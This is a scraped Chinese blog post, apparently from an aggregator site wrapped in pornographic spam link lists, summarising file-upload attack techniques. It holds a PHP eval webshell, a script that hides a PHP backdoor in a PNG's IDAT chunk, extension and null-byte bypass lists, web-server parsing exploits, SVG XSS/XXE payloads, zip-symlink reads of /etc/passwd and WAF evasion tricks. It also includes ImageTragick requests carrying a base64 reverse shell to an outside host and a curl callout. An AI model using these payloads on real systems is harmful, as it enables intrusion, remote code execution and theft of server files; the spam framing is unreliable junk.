日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

png文件头_文件上传总结

發(fā)布時間:2025/3/20 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 png文件头_文件上传总结 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

可以參考upload-labs

檢驗規(guī)則

1、客戶端javascript校驗

通常在前端進(jìn)行過濾,我們可以通過命名1.php.jpg上傳,然后修改數(shù)據(jù)包文件名filename=1.php上傳。或者直接禁用JS,上傳1.php。都可以繞過前端驗證。

可以參考upload-labs第一題

2.文件頭content-type字段校驗(image/gif)

這里可以參考upload-labs 第二題,通過修改Content-Type達(dá)到繞過檢測

Content-Type : image/gifContent-Type : image/pngContent-Type : image/jpegContent-Type : application/x-phpContent-Type : application/octet-stream
3.文件內(nèi)容頭校驗

應(yīng)用程序根據(jù)其首個簽名字節(jié)來識別文件類型。在文件中添加/替換它們可能會欺騙應(yīng)用程序。

https://en.wikipedia.org/wiki/List_of_file_signatures

方式1:

可以使用winhex等軟件在文件頭內(nèi)加入GIF87a的47 49 46 38 37 61 ?,從而欺騙應(yīng)用程序。

方式2:

在一句話木馬前面再加一些圖片文件信息,如

GIF89a<?php @eval($_POST['caidao']);?>

方式3:

Windows捆綁

copy 1.png /b + 2.php /a 3.png
4.后綴名黑/白名單校驗:擴(kuò)展名

黑名單:參考擴(kuò)展名繞過。特殊可解析后綴、大小寫、.、$::DATA、空格、嵌套、/.、.htaccess、解析漏洞

白名單的繞過方法:00截斷、解析漏洞。

5.文件內(nèi)容校驗:二次渲染

二次渲染繞過:

A:可以通過對比渲染前后的圖片找到未被修改的位置加入惡意代碼

B:二次渲染生成圖片腳本

向PNG圖片的IDAT數(shù)據(jù)塊中插入PHP后門代碼

<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, ? ? ? ? ? 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, ? ? ? ? ? 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, ? ? ? ? ? 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, ? ? ? ? ? 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, ? ? ? ? ? 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, ? ? ? ? ? 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, ? ? ? ? ? 0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) { ? $r = $p[$y]; ? $g = $p[$y+1]; ? $b = $p[$y+2]; ? $color = imagecolorallocate($img, $r, $g, $b); ? imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'./1.png');?>

后門代碼:

=$_GET[0]($_POST[1]);?>

擴(kuò)展名繞過

php擴(kuò)展名

.php.php3.php4.php5.php7.pht.phar.phpt.pgif.phtml.phtm.jpeg.php.jpg.php.png.php

windwos會自動去掉不符合規(guī)則的符號

.php.,.php.php:1.jpg.php::$DATA

asp擴(kuò)展名

.asp.aspx.cer and .asa (IIS <= 7.5)shell.aspx;1.jpg (IIS < 7.0)

perl擴(kuò)展名

.pl.pm.cgi.lib

jsp擴(kuò)展名

.jsp.jspx.jsw.jsv.jspf

Coldfusion擴(kuò)展名

.cfm.cfml.cfc.dbm

空字節(jié)

.php%00.gif.php\x00.gif.php%00.png.php\x00.png.php%00.jpg.php\x00.jpg

解析漏洞

IIS5.x/IIS 6.0解析漏洞

A:在.asp目錄下的任意文件會以asp格式解析

test.jpg會以asp格式解析

例如:http://127.0.0.1/test.asp/test.jpg

b: ?;截斷

test.asp;.jpg 會產(chǎn)生截斷,使文件以asp形式運(yùn)行

例如:http://127.0.0.1/test.asp;.jpg
IIS 7.0/IIS7.5

該文件以php格式執(zhí)行

例如:http://127.0.0.1/test.txt/.php
apache 解析漏洞(CVE-2017-15715)

使用burp hex功能在1.php后面添加一個\x0A

訪問的時候通過1.php\x0A

Nginx解析漏洞

Nginx 0.8 <= 0.8.37

以上Nginx容?的版本下,上傳一個在waf白名單之內(nèi)擴(kuò)展名的文件shell.jpg,然后以shell.jpg%00.php進(jìn)行請求。

Nginx 0.8.41 – 1.5.6

以上Nginx容?的版本下,上傳一個在waf白名單之內(nèi)擴(kuò)展名的文件shell.jpg,然后以shell.jpg%20%00.php進(jìn)行請求。

PHP CGI解析漏洞

IIS 7.0/7.5Nginx < 0.8.3

以上的容?版本中默認(rèn)php配置文件cgi.fix_pathinfo=1時,上傳一個存在于白名單的擴(kuò)展名文件shell.jpg,在請求時以shell.jpg/shell.php請求,會將shell.jpg以php來解析

文件上傳擴(kuò)展到其他漏洞

像素洪水攻擊,導(dǎo)致DOS

上傳大文件實現(xiàn)DOS攻擊

文件名設(shè)置為并嘗試實現(xiàn)路徑遍歷 ../../../tmp/lol.png

文件名設(shè)置為,您也許可以實現(xiàn)SQL注入sleep(10)-- -.jpg

設(shè)置文件名來實現(xiàn)XSS

設(shè)置文件名以測試一些命令注入; sleep 10;

SVG上傳

設(shè)置文件內(nèi)容,圖像處理庫也可能支持SVG圖像,由于SVG格式使用XML,因此攻擊者可以提交惡意的SVG映像,因此可以隱藏攻擊面以發(fā)現(xiàn)XXE漏洞。

payload1:payload2(php): ?

上傳SVG文件實現(xiàn)XSS

payload1:POST /profile/upload HTTP/1.1Host: XXXXXXXXX.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Bearer XXXXXXXXXXXXXXXXXXContent-Type: multipart/form-data; boundary=---------------------------232181429808Content-Length: 574Connection: closeReferer: https://XXXXXXXXX-----------------------------232181429808Content-Disposition: form-data; name="img"; filename="img.svg"Content-Type: image/svg+xml<?xml version="1.0" standalone="no"?> ? ? ? ? alert("Ghostlulz XSS"); ? -----------------------------232181429808--payload2:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>οnlοad="window.location='http://www.example.com'"xmlns="http://www.w3.org/2000/svg">
imagetragick (CVE-2016–3714)

可以使用vulHub去搭建環(huán)境

https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick

在解析https圖片的時候,使用curl下載,由于沒有做限制,可以通過拼接命令來執(zhí)行。

command=" "curl" -s -k -o "%o" "https:%M" "/>%M可以用管道拼接command=" "curl" -s -k -o "%o" "https://"|id && ls -al /etc/passwd"" "/>

反彈shell poc

POST /upload.php HTTP/1.1Host: 192.168.80.141User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.80.141/upload.phpContent-Type: multipart/form-data; boundary=---------------------------188922290519572116071774556317Content-Length: 478Connection: closeUpgrade-Insecure-Requests: 1-----------------------------188922290519572116071774556317Content-Disposition: form-data; name="file_upload"; filename="upload.jpg"Content-Type: image/jpegpush graphic-contextviewbox 0 0 640 480fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguODAuMTM1LzQ0NDQgMD4mMQ== | base64 -d | bash`"||id " )'pop graphic-context------WebKitFormBoundarydGYwkOC91nnON1ws-------------------------------188922290519572116071774556317--

curl poc:

POST /upload.php HTTP/1.1Host: 192.168.80.141User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.80.141/upload.phpContent-Type: multipart/form-data; boundary=---------------------------188922290519572116071774556317Content-Length: 402Connection: closeUpgrade-Insecure-Requests: 1-----------------------------188922290519572116071774556317Content-Disposition: form-data; name="file_upload"; filename="upload.jpg"Content-Type: image/jpegpush graphic-contextviewbox 0 0 640 480fill 'url(https://127.0.0.0/oops.jpg"|curl "192.168.80.135:8000)'pop graphic-context------WebKitFormBoundarydGYwkOC91nnON1ws-------------------------------188922290519572116071774556317--
壓縮文件符號鏈接

可以參考:HCTF2018-Hide-and-seek

給test文件創(chuàng)建符號鏈接到/etc/passwd

ln -s /etc/passwd test

添加到壓縮文件

zip -y test.zip test

然后上傳到服務(wù)器,服務(wù)器會自動解壓縮。產(chǎn)生鏈接到/etc/passwd。從而導(dǎo)致任意文件讀取

unzip -n test.zip test

配置文件

.htaccess

參考upload-labs 第4題,把shell.jpg解析為shell.php

SetHandler application/x-httpd-php

更多.htaccess攻擊:

https://github.com/wireghoul/htshells

web.config

有時IIS支持ASP文件,但無法上傳任何擴(kuò)展名為.ASP的文件。在這種情況下,可以直接使用web.config文件來運(yùn)行ASP經(jīng)典代碼

<?xml version="1.0" encoding="UTF-8"?> ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

可以參考htb的Bounty靶機(jī)。

PUT 上傳漏洞

可以通過options查看支持的http方法

看到Methods存在put,就可以嘗試一下put上傳

OPTIONS /resources/post-here/ HTTP/1.1Host: bar.otherAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-us,en;q=0.5Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Connection: keep-aliveOrigin: http://foo.exampleAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: X-PINGOTHER, Content-TypeHTTP/1.1 200 OKDate: Mon, 01 Dec 2008 01:15:39 GMTServer: Apache/2.0.61 (Unix)Access-Control-Allow-Origin: http://foo.exampleAccess-Control-Allow-Methods: POST, GET, OPTIONS, PUTAccess-Control-Allow-Headers: X-PINGOTHER, Content-TypeAccess-Control-Max-Age: 86400Vary: Accept-Encoding, OriginContent-Encoding: gzipContent-Length: 0Keep-Alive: timeout=2, max=100Connection: Keep-AliveContent-Type: text/plain

使用PUT上傳:

PUT /new.html HTTP/1.1Host: example.comContent-type: text/htmlContent-length: 16

New File

如果目標(biāo)資源不存在,并且PUT方法成功創(chuàng)建了一份,那么源頭服務(wù)器必須返回201 (Created) 來通知客戶端資源已創(chuàng)建。

HTTP/1.1 201 CreatedContent-Location: /new.html

如果目標(biāo)資源已經(jīng)存在,并且依照請求中封裝的表現(xiàn)形式成功進(jìn)行了更新,那么,源頭服務(wù)器必須返回200 (OK) 或者204 (No Content) 來表示請求的成功完成。

HTTP/1.1 204 No ContentContent-Location: /existing.html

bypass waf

Content-Disposition

使用多個content-dispositon繞過,IIS默認(rèn)獲取第一個,waf可能只會取最后一個。

content-dispositon:form-data; name="file"; filename="shell.php"content-dispositon:form-data; name="file"; filename="shell.jpg"
數(shù)據(jù)過長繞過

文件名繞過

filname="shell.............................................................................................................................................................................................................................................................asp"

特殊文件名

shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
后續(xù)再整理
1. filename在content-type下面2. .asp{80-90}3. NTFS ADS4. .asp...5. boundary不一致6. iis6分號截斷asp.asp;asp.jpg7. apache解析漏洞php.php.ddd8. boundary和content-disposition中間插入換行9. hello.php:a.jpg然后hello.<<<10. filename=php.php11. filename="a.txt";filename="a.php"12. name=\n"file";filename="a.php"13. content-disposition:\n14. .htaccess文件15. a.jpg.\nphp16. 去掉content-disposition的form-data字段17. php<5.3 單雙引號截斷特性18. 刪掉content-disposition: form-data;19. content-disposition\00:20. {char}+content-disposition21. head頭的content-type: tab22. head頭的content-type: multipart/form-DATA23. filename后綴改為大寫24. head頭的Content-Type: multipart/form-data;\n25. .asp空格26. .asp0x00.jpg截斷27. 雙boundary28. file\nname="php.php"29. head頭content-type空格:30. form-data字段與name字段交換位置

參考:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files

https://cloud.tencent.com/developer/article/1516346

http://ghostlulz.com/xss-svg/

http://www.mi1k7ea.com/2019/10/14/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

http://www.owasp.org.cn/OWASP_Training/Upload_Attack_Framework.pdf

https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

https://book.hacktricks.xyz/pentesting-web/file-upload

https://xz.aliyun.com/t/6783#toc-7

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Methods/PUT

https://blog.csdn.net/qq_26090065/article/details/82715361

https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

https://paper.seebug.org/219/

https://e1sewhere.github.io/2019/02/13/upload-labs-%E7%BB%83%E4%B9%A0/

總結(jié)

以上是生活随笔為你收集整理的png文件头_文件上传总结的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 狠狠干天天操 | 免费黄色片子 | 国产r级在线 | 精品视频免费观看 | 亚洲午夜久久久久久久国产 | 玖草在线视频 | 国产老妇视频 | 99精品久久久久久久婷婷 | 久久国产精品久久久 | 免费观看污网站 | 久久精品视频5 | 欧美aaaaaaa| 内射后入在线观看一区 | 高清毛片aaaaaaaaa郊外 | 五月婷婷丁香 | 91社区福利 | 欧美激情视频一区二区三区 | 国产福利在线 | 日韩一三区 | 精品人妻一区二区三区四区五区 | 欧美日韩视频网站 | 日韩av线上 | 在线观看免费视频国产 | 久草香蕉视频 | 日本a视频在线观看 | 欧日韩在线 | 精品国产乱码久久久久久108 | 国产精品麻豆一区二区三区 | 欧美福利一区二区三区 | 久久一视频 | 国产日批视频 | 国产suv精品一区二区 | 国产ts变态重口人妖hd | 99视频在线免费 | 青草视频在线免费观看 | 中国女人真人一级毛片 | 午夜精品久久久内射近拍高清 | 91大神在线看 | 全黄一级播放 | 国产手机精品视频 | 最新国产在线 | 日本在线免费视频 | 国产麻豆免费观看 | 日韩亚洲视频在线观看 | 91精品视频免费在线观看 | 欧美图片一区 | 欧美片网站yy | 久久精品久久久精品美女 | 在线免费观看一级片 | 中文字幕一二区 | 欧美噜噜噜 | 亚欧洲精品在线视频 | 亚洲激情二区 | 黄色av电影网站 | 337p粉嫩大胆噜噜噜亚瑟影院 | 波多野结衣不卡视频 | 日韩中文字幕在线观看视频 | 九草在线观看 | 亚洲青春草 | 极品少妇一区二区三区 | 91av免费看| 宅男噜噜噜66一区二区 | 日韩a毛片 | 91国产在线播放 | 99超碰在线观看 | 色视频网址 | 久久精品一 | 另类捆绑调教少妇 | 黄色国产免费 | 国产亚洲综合精品 | 久久综合福利 | 毛片女人 | 欧美成人免费观看视频 | 久久久久久久黄色 | 草逼视频免费看 | 91精品国自产在线观看 | jizzjizz日本人| 精品一区二区三区在线观看视频 | 色哟哟入口国产精品 | 午夜黄色影院 | 五月激情婷婷综合 | av大片在线播放 | 久久靠逼视频 | 爱豆国产剧免费观看大全剧集 | 婷婷综合一区 | 欧美一道本 | 97精品一区二区视频在线观看 | 中文字幕在线日韩 | 日韩a级片在线观看 | 91成人免费在线 | 色牛av| 亚洲av无一区二区三区怡春院 | 国产在线观看免费高清 | 久久综合伊人77777麻豆 | 亚洲精品在线中文字幕 | 久久综合影视 | 国产精品日韩av | 久热伊人| 国产欧美在线观看不卡 |